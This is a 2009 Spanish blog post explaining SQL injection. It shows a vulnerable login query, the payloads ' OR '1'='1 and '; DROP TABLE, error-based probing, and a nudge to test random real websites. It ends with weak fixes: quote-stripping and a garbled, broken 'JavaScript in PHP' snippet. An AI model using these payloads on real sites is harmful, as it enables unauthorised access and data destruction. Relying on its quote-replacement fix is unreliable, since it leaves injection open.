<p>Y entones fue cuando me empecé a aficionar al hacking, al cracking, al phreaking y al virii, que eran los cuatro pilares básicos que todo buen conocedor del underground informático debía manejar, o al menos alguno de ellos pero en plan gurú, si no eras directamente un lammer o un puto newbie.</p>
<p><strong>La filosofía de los hackers de aquella época se ha perdido</strong>. El objetivo claro que se perseguía entonces era la superación personal y el ansia por adquirir los conocimientos que permitieran dominar aquella nueva tecnología que tanto futuro parecía tener. Hoy los buenos hackers son putas al servicio de gobiernos o de empresas de seguridad. Alguno de los de antes quedará por ahí, seguro, pero el espíritu ya no es el mismo, se ha desinflado.</p>
<p>El hacking, además, se ha vuelto complicado y peligroso. Hoy los administradores de sistemas han pasado de la ESO (algunos), los sistemas operativos son muchísimo más seguros y los usuarios están mucho más concienciados del concepto de seguridad (más o menos). Los bugs o agujeros de seguridad se resuelven y parchean en horas, y cualquier software se actualiza de manera automática prácticamente a diario.</p>
<p>Sin embargo, de vez en cuando, siguen apareciendo técnicas novedosas que producen un revolvimiento de tripas en el underground informático y una sudoración fría en los lobbys económicos y políticos del sistema. Algo así como un resurgir del lodo, descuellando por unos instantes. Por supuesto, al descubridor de tal o cual vulnerabilidad se le eleva a los altares del movimiento subterráneo y se le santifica a lo <a href="http://es.wikipedia.org/wiki/Kevin_Mitnick">Kevin Mitnick</a>.</p>
<p><strong>En los últimos años a mí se me han puesto los pelos de punta en tres de ocasiones</strong>: una con la aparición del ataque NetBIOS, otra con la aparición del XSS y otra con la aparición de las inyecciones SQL. Y a estas últimas nos vamos a referir en continuación. ¿Por qué? Por nada en especial.</p>
<p>Para los neófitos: SQL es un lenguaje estructurado que se utiliza para realizar consultas contra bases de datos, ya sean consultas de actualización, de selección o de eliminación.</p>
<p>Las bases de datos cada vez son más importantes en nuestra vida. Todo está ordenado y clasificado en determinado campo de determinado registro de determinada tabla de determinada base de datos. Y, claro, en Internet, que es un espejo casi en tiempo real del mundo no digital, las bases de datos crecen como champiñones a diestro y siniestro. Cualquier página web que visitemos dispondrá de un foro, de una agenda de eventos, de un registro de usuarios, de un catálogo de productos, etcétera. Pues bien, todo eso, y mucho más, necesita de una base de datos para poder funcionar.</p>
<p>Una inyección SQL no es otra cosa que <strong>un ataque</strong>, debido a una vulnerabilidad corregible, <strong>a la base de datos de una aplicación en el nivel de validación</strong>. Para que me entienda todo el mundo, el nivel de validación se refiere a esos cuadraditos de texto donde yo escribo mi nombre de usuario y mi contraseña cuando accedo a una web en la que estoy registrado. En esos mismos cuadraditos dispongo yo de la posibilidad de escribir código SQL que la base de datos que haya detrás se trague e interprete y provocar un auténtico desastre.</p>
<p>Vamos a ver un ejemplo práctico. Imaginemos la típica página de validación, donde me piden mi nombre y mi contraseña, para entrar a comprar a una tienda virtual en la que estoy registrado. Cuando yo escribo el nombre, la contraseña y pulso el botón de aceptar, el software comprueba que los datos sean correctos. Para ello realiza un consulta a la base de datos en SQL que puede ser algo como lo siguiente:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax13"></a><a style="wp-synhighlighter-title" href="#codesyntax13"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;"><span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = '&quot;</span> <span style="color: #66cc66;">+</span> NombreUsuario <span style="color: #66cc66;">+</span> <span style="color: #ff0000;">&quot;' AND Contrasena = '&quot;</span> <span style="color: #66cc66;">+</span> ContrasenaUsuario <span style="color: #66cc66;">+</span> <span style="color: #ff0000;">&quot;';&quot;</span>
 </pre></div></div>
<p>Esto selecciona (<code>SELECT</code>) todos (<code>*</code>) los registros de (<code>FROM</code>) la tabla <code>TablaUsuarios</code> donde (<code>WHERE</code>) el campo Nombre sea igual (<code>=</code>) a la variable <code>NombreUsuario</code> (su valor se asigna de lo que nosotros hallamos escrito) y (<code>AND</code>) el campo <code>Contrasena</code> sea igual a la variable <code>ContrasenaUsuario</code>. Si yo escribo &#8220;Jonathan&#8221; y &#8220;Tambor1900&#8243; respectivamente en el campo de texto para nombre y contraseña, el resultado de la cadena anterior sería el siguiente:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax14"></a><a style="wp-synhighlighter-title" href="#codesyntax14"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;"><span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = 'Jonathan' AND Contrasena = 'Tambor1900';&quot;</span>
 </pre></div></div>
<p>Ahora viene la magia. En el campo de texto para el nombre, en lugar de un nombre, voy a escribir esto: <code>' OR '1'='1</code></p>
<p>Y en el campo para la contraseña lo mismo, mismito. La cadena SQL que se envía a la base de datos quedaría así:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax15"></a><a style="wp-synhighlighter-title" href="#codesyntax15"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;"><span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = '' OR '1'='1' AND Contrasena = '' OR '1'='1';&quot;</span>
 </pre></div></div>
<p>Es decir, selecciona todos los registros de la tabla <code>TablaUsuarios</code> donde el campo <code>Nombre</code> sea igual a nada o <code>1</code> sea igual a <code>1</code> y el campo <code>Contrasena</code> sea igual a nada o <code>1</code> igual a <code>1</code>. ¡Abracadabra! Es posible que no exista un nombre o una contraseña vacía, pero siempre 1 va a ser igual a 1, por lo tanto, hasta la cocina del sitio web como si fuéramos un usuario correctamente registrado.</p>
<p>Vamos a hacer más pupita. Vamos a escribir en el campo del nombre lo mismo que antes y en el de la contraseña lo que esto: <code>'; DROP TABLE TablaUsuarios</code></p>
<p>Con lo que la cadena final queda así:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax16"></a><a style="wp-synhighlighter-title" href="#codesyntax16"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;"><span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = '' OR '1'='1' AND Contrasena = ''; DROP TABLE TablaUsuarios;&quot;</span>
 </pre></div></div>
<p>Las sentencias SQL siempre terminan en punto y coma (<code>;</code>) y pueden separarse entre sí por el mismo signo de puntuación. En el anterior ejemplo, comprobaría correctamente que 1 es igual a 1, como hemos comentado antes, para, después, cargarse sin miramientos la tabla <code>TablaUsuarios</code> (<code>DROP TABLE TablaUsuarios</code>).</p>
<p>Evidentemente el daño puede ser mayor que borrar una tabla (suponemos que el administrador tiene copias de seguridad), ya que podemos hacernos con todos los datos sensibles y privados de los usuarios del sitio, hacer compras en su nombre, acceder a sus cuentas bancarias y mil miles de cosas más.</p>
<p>Muchos habrán pensado ya a estas alturas que para inyectar este tipo de códigos SQL es necesario conocer el nombre de las variables (<code>NombreUsuario</code> y <code>ContrasenaUsuario</code>) y el nombre de la tabla (<code>TablaUsuario</code>) que el programador ha utilizado. Y efectivamente así es. Pero para conseguir estos datos podemos recurrir a la técnica de hacer &#8220;cascar&#8221; la consulta y que produzca un error. Por ejemplo, si en el nombre de usuario escribimos dos comillas simples (<code>''</code>) y en la contraseña cualquier cosa, la cadena SQL resultante sería la siguiente:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax17"></a><a style="wp-synhighlighter-title" href="#codesyntax17"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;"><span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = ''' AND Contrasena = 'Tambor1900';&quot;</span>
 </pre></div></div>
<p>Aquí hay más comillas de las que el intérprete SQL de la base de datos puede reconocer, y esto devolvería un error de acceso a la base de datos. Dependiendo de qué servidor web aloje esta página y cómo esté configurado, es más que posible que dicho error aparezca en pantalla (en formato HTML) especificando concretamente dónde y por qué se ha producido, y describiéndonos a las mil maravillas la cadena de conexión y todas sus variables, nombres de campos y tablas. Un placer. Gracias mil.</p>
<p>Una vez expuesta la vulnerabilidad y cómo explotarla, <strong>es de caballeros explicar también cómo corregir este defecto</strong>. He de decir que muchísimas páginas web en Internet no tienen este tema solucionado; allá ellos. Sólo es necesario visitar sitios web y probar (a base de comillas aquí, comillas allí) hasta que encontremos uno vulnerable. Ya digo que los hay por doquier.</p>
<p>Existen varios métodos para solucionar este problema, pero el más sencillo y eficaz es el que consiste en <strong>evitar la introducción de comillas simples</strong> en las cajas de texto sustituyéndolas por espacios, por ejemplo. He aquí una forma de hacerlo en VBScript en una página ASP:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax18"></a><a style="wp-synhighlighter-title" href="#codesyntax18"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;">CadenaSQL <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot;SELECT * FROM TablaUsuarios WHERE Nombre = '&quot;</span> &amp; <span style="color: #993333; font-weight: bold;">Replace</span><span style="color: #66cc66;">&#40;</span>NombreUsuario<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">&quot;'&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">&quot; &quot;</span><span style="color: #66cc66;">&#41;</span> &amp; <span style="color: #ff0000;">&quot;' AND Contrasena='&quot;</span> &amp; <span style="color: #993333; font-weight: bold;">Replace</span><span style="color: #66cc66;">&#40;</span>ContrasenaUsuario<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">&quot;'&quot;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">&quot; &quot;</span><span style="color: #66cc66;">&#41;</span> &amp; <span style="color: #ff0000;">&quot;'&quot;</span>
 </pre></div></div>
<p>O en JavaScript en una página PHP:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax19"></a><a style="wp-synhighlighter-title" href="#codesyntax19"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Sentencia SQL</a></div><div class="wp-synhighlighter-inner"><pre class="sql" style="font-family:monospace;">CadenaSQL <span style="color: #66cc66;">=</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> TablaUsuarios <span style="color: #993333; font-weight: bold;">WHERE</span> Nombre <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'&quot; &amp; NombreUsuario.replace( &quot;'</span><span style="color: #ff0000;">&quot;, &quot;</span> <span style="color: #ff0000;">&quot;); &amp; &quot;</span><span style="color: #ff0000;">' AND Contrasena='</span><span style="color: #ff0000;">&quot; &amp; ContrasenaUsuario.replace(&quot;</span><span style="color: #ff0000;">'&quot;, &quot; &quot;); &amp; &quot;'</span><span style="color: #ff0000;">&quot;
 </span></pre></div></div>
<p>Otro factor importante en cuanto a la seguridad es <strong>limitar al máximo los permisos del usuario</strong> que ejecuta estas sentencias para evitar posibles problemas. Por ejemplo utilizando un usuario distinto para las sentencias <code>SELECT</code>, <code>DELETE</code> o <code>UPDATE</code> y asegurándonos de que cada ejecución de una sentencia ejecute una sentencia del tipo permitido.</p>
<p><strong>Una solución definitiva sería trabajar con procedimientos almacenados</strong>. El modo en el que se pasan los parámetros a los procedimientos almacenados evita que la inyección SQL pueda ser usada. También deberíamos validar los datos que introduce el usuario teniendo en cuenta, por ejemplo, la longitud de los campos y el tipo de datos aceptados. Si programamos en ASP.NET, además, utilizaremos siempre que sea posible las clases de <code>System.Web.Security.FormsAuthentication</code> para que los usuarios entren en nuestras aplicaciones web.</p>
<p>Es tan jugoso explotar una vulnerabilidad como conseguir eliminarla. Los hackers del pasado son los expertos en seguridad del presente. Pero, por favor, no se me vendan a las multinacionales, que no queda muy underground que digamos.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2009%2F11%2F26%2Finyecciones-sql-%25c2%25a1a-que-te-pincho%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2009/11/26/inyecciones-sql-%c2%a1a-que-te-pincho/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Inyecciones SQL (¡a que te pincho!)" data-url="http://www.teknoplof.com/2009/11/26/inyecciones-sql-%c2%a1a-que-te-pincho/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2009/11/26/inyecciones-sql-%c2%a1a-que-te-pincho/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced (User agent is rejected)

Served from: www.teknoplof.com @ 2012-02-08 01:30:17 -->
